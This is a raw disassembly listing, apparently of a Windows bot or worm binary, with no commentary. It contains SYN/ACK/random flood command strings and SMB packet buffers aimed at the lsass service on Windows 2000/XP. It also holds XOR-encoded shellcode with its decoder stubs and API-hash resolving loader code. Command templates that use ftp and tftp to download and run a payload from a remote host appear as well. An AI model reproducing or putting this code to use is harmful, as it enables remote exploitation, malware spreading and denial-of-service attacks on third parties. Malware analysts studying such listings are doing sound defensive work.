		dd 0FE4AC59Dh, 3B10570Ah, 0ECD96E84h, 7C8714h, 9B75009Dh
		dd 54C27569h, 530388Ch,	0C756C7h, 9F780094h, 0CFDBD983h
		dd 5106689Eh, 0EC049DB7h, 2180000h, 9F3ED8CAh, 1F32D236h
		dd 26A0000h, 85D3A6E8h,	0EE511CDFh, 710A879Ch, 8053h, 0AFE701C1h
		dd 8ADA3CB6h, 0BD70DA0Eh, 0E9B28390h, 142BB335h, 419Fh
		dd 9F100066h, 0A2ACA931h, 29734A53h, 9F786545h,	3E502825h
		dd 0E758h, 2FFA01ABh, 0A757B1AAh, 14A6BF38h, 0E4057CADh
		dd 579C9658h, 0A66CC167h, 0D4503DEh, 506F2782h,	0CFDEB087h
		dd 0E5EAD1h, 425D0055h,	4F1C3ABAh, 51AADC7Fh, 15DEF712h
		dd 637E4092h, 0F7CA14h,	55B301C2h, 617216A6h, 9807C903h
		dd 3889h, 7CCA013Eh, 0F280145Bh, 4041266h, 46AF7DB1h, 1260000h
		dd 19E29E6Fh, 0D701347Dh, 1F1A99BEh, 0B3463780h, 0AF0000h
		dd 0CEADC9ADh, 0C1948487h, 0FED892A0h, 8CBAh, 45290193h
		dd 9EAD4679h, 4FA11FB2h, 3E69h,	0B667018Ch, 0B2877948h
		dd 462FD0E6h, 2B00000h,	0CA209059h, 0B29BE749h,	3575344Bh
		dd 0DBE488h, 0BE8A01D6h, 44E7FE11h, 6AA7CEBAh, 5FD22Bh
		dd 0A0C40035h, 4544E776h, 0BBD8C196h, 0CD2C8BA5h, 5E820CCEh
		dd 26C0000h, 0C6B2200Bh, 0A257294Ch, 0BC6F6Dh, 77850114h
		dd 6E702F25h, 9FE8B44Ah, 440045h, 0E6E891B4h, 0E55A6C9Ah
		dd 34BC35F2h, 2186h, 1CE00080h,	6A0E4E39h, 16006A5Fh, 40077C65h
		dd 97619275h, 0BBC4B015h, 472F98h, 22130268h, 32E6374Dh
		dd 641079Dh, 0B631D7D0h, 0D43F3F06h, 2DF0000h, 0F0B44730h
		dd 2AB5C081h, 16500A9h,	61A03261h, 4459E9E3h, 0D58E2C2h
		dd 10B0000h, 0B08116BEh, 1CB3A7B2h, 6FEFD06Dh, 6644819Bh
		dd 2CF2h, 74CA01F9h, 0CC991BDFh, 96EAC6DCh, 542951h, 0C3F90063h
		dd 3CDD2B19h, 0FE5C7D2Fh, 61E96C00h, 0F70043h, 9CA3F40Ah
		dd 0D3CDBEE8h, 4C61242Ch, 0E21139A7h, 43004Ah, 0EAFCEFF4h
		dd 2183F240h, 0F041h, 43150175h, 7C4250FEh, 0D604A7FBh
		dd 39F8ECh, 48E3018Dh, 0BBC2D139h, 0D76F909Ah, 6C0356B5h
		dd 0EB3EE5F4h, 1590000h, 99644650h, 1780B715h, 5BBB346Dh
		dd 4AD3FC18h, 0B5DB1Dh,	0EF3F011Bh, 0A592A004h,	0A0009FEBh
		dd 4A0Bh, 8B23007Dh, 0FA23F7B6h, 7C5342EAh, 5700E7h, 624EF8AEh
		dd 0FC3247E8h, 36E80Ah,	0D93301EFh, 0D28AAF9Eh,	302A5490h
		dd 0F800ACh, 8B901257h,	3755A61Dh, 0CCCC0BECh, 863CF893h
		dd 0B6DC17h, 26F20028h,	0DE1AE30Eh, 0C5912Ah, 1BD102CEh
		dd 6108701Fh, 0C91C382Fh, 31534EC5h, 9D362F9Dh,	3F0027h
		dd 6D1B9C39h, 0BA2CC404h, 600AB854h, 29F0000h, 11A73273h
		dd 56BE0EAAh, 0A8305305h, 742387h, 98B301DDh, 8D9B8634h
		dd 183866h, 815E02D2h, 9B90B94Ch, 0D4A306F0h, 0A8C98EDFh
		dd 274CD3DFh, 1E40006h,	0F9995A52h, 5B4FF89Bh, 345E54A1h
		dd 2B531F26h, 0CB30C9h,	0F50C00CEh, 0B0E1676Ch,	3ED62CE2h
		dd 36408A50h, 2BE3h, 8510029Eh,	0B7F0296h, 80E47F78h, 0C4987EF1h
		dd 9BC7h, 0B05E011Ch, 4E8BC0F0h, 0C29C4BB9h, 242A4F4Eh
		dd 1200000h, 6F42476Dh,	0D926B5CAh, 0E50CD1Ah, 0B27FE7C7h
		dd 1990000h, 6ACB96D8h,	0C9082A06h, 19F00CFh, 46B81C14h
		dd 89C60D12h, 22F0000h,	0F8841A5h, 7BE23DE3h, 1700036h
		dd 0B540152Ah, 0FC71E165h, 7865AE7Fh, 0ECFD1D4Ah, 0DFCA34E6h
		dd 199h, 12C0015Dh, 6E5A49D5h, 140EE16Dh, 0C79D24h, 1C8C01A2h
		dd 3DB4CB82h, 0DBA765BCh, 15000F3h, 4F610F1Dh, 75E4EEAEh
		dd 190F139Fh, 78776Bh, 0D31C00CAh, 0A6AE343Fh, 0F491A73Ah
		dd 4DD129F1h, 174006Ch,	0BA5BBB17h, 0AA2B604Eh,	3AD3h
		dd 0A27B019Dh, 8A287BDFh, 0DBB3B73Fh, 19B005Ch,	0F99F2646h
		dd 20FCC848h, 0E574h, 0E0EA02BFh, 44A46D81h, 3A7D421Eh
		dd 2BB00CEh, 18FF595h, 6783384Ah, 0E8EA801Ah, 1B80000h
		dd 0CE13DF2Ch, 1FBE982Eh, 363A7A21h, 20B0026h, 56A94DEFh
		dd 782B6F3Ah, 0D8D2D3F6h, 0D272h, 7E2001A3h, 0B12ABF50h
		dd 0E6FEh, 4F9901BFh, 0E18609DCh, 0F0B679Ch, 0A17Ch, 6A9101C0h
		dd 8E331AFBh, 5F34CB23h, 4148h,	44BE00BFh, 7FA91781h, 0F6E7Fh
		dd 819600B9h, 0FE1093ADh, 1310000h, 8A04573Dh, 37512531h
		dd 2AD0000h, 0F1D48E9Fh, 43D9D8EAh, 0E0DFEE3Ah,	0E1AB46BCh
		dd 6BCB5BD8h, 584559F9h, 0B20000h, 79D18782h, 35E47786h
		dd 7B867F41h, 54CBE1B4h, 0DCABD400h, 6C1AEEh, 0B03800B3h
		dd 0F805A8ECh, 8098A92Ah, 481D2A38h, 2086BEFCh,	37D4C51h
		dd 1060084h, 4C33F407h,	0EB2F6209h, 0F7DFD4F6h,	55EF7B0Eh
		dd 0E15CB917h, 10800E5h, 0F7DB53B3h, 0CE31AD18h, 0C3582B8Bh
		dd 0DFC618E7h, 0EA3BEEAh, 659Dh, 762F026Dh, 0B19D6841h
		dd 0D8A81B3Bh, 7D49B006h, 1520000h, 0DD5DD578h,	17590419h
		dd 8445ADBAh, 1150000h,	658AD88Fh, 87DF633Ah, 0C57AA1h
		dd 0A8890153h, 973DAB51h, 58C8AC26h, 0C06A99C3h, 1560000h
		dd 0B2EF4125h, 0CC0A5CF6h, 0D0BA291Fh, 0BDC6h, 4849028Bh
		dd 88EB2971h, 6DFB0Eh, 0C4D65BA6h, 0D604C71Ch, 0C9CFDF82h
		dd 1B7E52Bh, 1B50059h, 0EBDCF279h, 50C62F0Dh, 0F63431F4h
		dd 1B20000h, 208901DDh,	680ED741h, 58F40ABCh, 27C0000h
		dd 298F5BDFh, 1F1E4B0Bh, 220C8918h, 0AA0000h, 0EB2181DEh
		dd 1988D068h, 0F12B2BA1h, 991DE6F0h, 2610000h, 70023C6Ah
		dd 0D9314ADAh, 0EFA17CC8h, 210000h, 0BD0907AFh,	13A8298Eh
		dd 851C9F5Eh, 601Ch, 0F7440022h, 7B6287Eh, 6E03D471h, 12154C7Ch
		dd 2620000h, 85834DEBh,	6EEFA4CCh, 1DDEC3F3h, 0C7A7596Ch
		dd 3A912F8Bh, 0A63F05h,	42142BD3h, 313C911Dh, 0FEBEE478h
		dd 155h	dup(0)
seg001		ends

; Section 3. (virtual address 0001F000)
; Virtual size			: 00044000 ( 278528.)
; Section size in file		: 00044000 ( 278528.)
; Offset to raw	data for section: 0001F000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 41F000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41F000	dd 0				dd offset loc_40211A
		dd offset sub_4038D9
		dd offset sub_41C404
dword_41F010	dd 0		dword_41F014	dd 0				dd offset sub_412AE2
		dd offset sub_4185CC
		dd offset sub_4193E7
		dd offset sub_419D86
dword_41F028	dd 0		dword_41F02C	dd 0				dd offset sub_41948C
dword_41F034	dd 0		dword_41F038	dd 0				dd offset sub_419D97
dword_41F040	dd 4 dup(0)	unk_41F050	db    2			; DATA XREF: start+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_41F08C	db    2			; DATA XREF: seg000:004013B4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: seg000:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: seg000:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: seg000:004011A3o
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
unk_41F1E0	db    2			; DATA XREF: seg000:00401509o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_41F22C	db    2			; DATA XREF: seg000:00401490o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_41F274	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182E+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
dword_41F2B0	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_4018CA+27Do
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_41F2E0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:004020C1o
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_41F344	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00402025o
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: seg000:00401EE8o
					; seg000:0040C5AEo ...
		align 10h
aAck		db 'ack',0              ; DATA XREF: seg000:00401EC8o
					; seg000:0040C597o
aSyn		db 'syn',0              ; DATA XREF: seg000:00401EA8o
					; seg000:0040C57Fo
dword_41F3B8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401D35o
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_41F3EC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401CC4o
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_41F438	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401C46o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		jmp	short loc_41F492

; =============== S U B	R O U T	I N E =======================================



sub_41F482	proc far		; CODE XREF: sub_41F482:loc_41F492p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_41F48A:				; CODE XREF: sub_41F482+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_41F48A
		jmp	short loc_41F497
; ---------------------------------------------------------------------------


loc_41F492:				; CODE XREF: seg002:0041F480j
		call	near ptr sub_41F482


loc_41F497:				; CODE XREF: sub_41F482+Ej
		jo	short loc_41F4FB
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_41F519
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_41F4FB:				; CODE XREF: sub_41F482:loc_41F497j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_41F519:				; CODE XREF: sub_41F482+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_41F482	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0CA91h
		dd 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh,	0EB12CB4Ch
		dd 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh
		dd 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h
		dd 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h
		dd 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h,	0A2657452h
		dd 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_41F5C0:				; DATA XREF: sub_402297+156o
					; sub_402297+212o
		jmp	short loc_41F5D2

; =============== S U B	R O U T	I N E =======================================



sub_41F5C2	proc near		; CODE XREF: sub_41F5C2:loc_41F5D2p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_41F5CA:				; CODE XREF: sub_41F5C2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_41F5CA
		jmp	short loc_41F5D7
; ---------------------------------------------------------------------------


loc_41F5D2:				; CODE XREF: seg002:loc_41F5C0j
		call	sub_41F5C2


loc_41F5D7:				; CODE XREF: sub_41F5C2+Ej
		jo	short near ptr dword_41F54C+22h
		cwde
		cdq
		cdq
		retn
sub_41F5C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_41F670	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_402297+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_41F758	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_4026D6+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41F7E4	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4026D6+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_41F890	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4026D6+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41F970	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402297+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_402297+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_41F9D4	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402297+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_41FA40	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402297+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41FAE4	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402297+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_41FB64	dd offset loc_401495	; DATA XREF: sub_402297+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_41FBF8	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402297+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_41FC64	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402297+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_41FCD8	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_41FD98	dd 1004600h						; sub_402297+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_41FE50	dd 0A0D7325h, 0						; seg000:0040DA1Co ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_402136+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_402136+97o
; ---------------------------------------------------------------------------


loc_41FED8:				; DATA XREF: sub_402297+177o
		jmp	short loc_41FEE0
; ---------------------------------------------------------------------------
		jmp	short loc_41FEE2
; ---------------------------------------------------------------------------
		align 10h


loc_41FEE0:				; CODE XREF: seg002:loc_41FED8j
					; DATA XREF: sub_402297+27o
		pop	esp
		pop	esp


loc_41FEE2:				; CODE XREF: seg002:0041FEDAj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_41FEEC	dd 1CEC8166h	dword_41FEF0	dd 0E4FF07h	byte_41FEF4	db 90h			; DATA XREF: sub_402AFB+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset aMinsky+6
		align 10h
dword_41FF00	dd 10FF8h, 0	dword_41FF08	dd 10FF8h	dword_41FF0C	dd 7FFDF020h, 0	dword_41FF14	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41FF9C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_41FFCC	dd 0				dd 800000D4h, 0
unk_41FFD8	db  81h	; 		; DATA XREF: sub_402FFF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_420024	db 41h			; DATA XREF: sub_40309D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_420068	proc near		; DATA XREF: seg000:0040337Ao
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_420164
		push	dword ptr [esi]
		push	63D61209h
		call	sub_42017A
		mov	[esi+8], eax
		call	sub_42012D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_42017A
		mov	[esi+0Ch], eax
		call	sub_4200DF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_42017A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_420068	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200DF	proc near		; CODE XREF: sub_420068+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_420108
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4200DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420108	proc near		; CODE XREF: sub_4200DF+1p
		xor	edx, edx
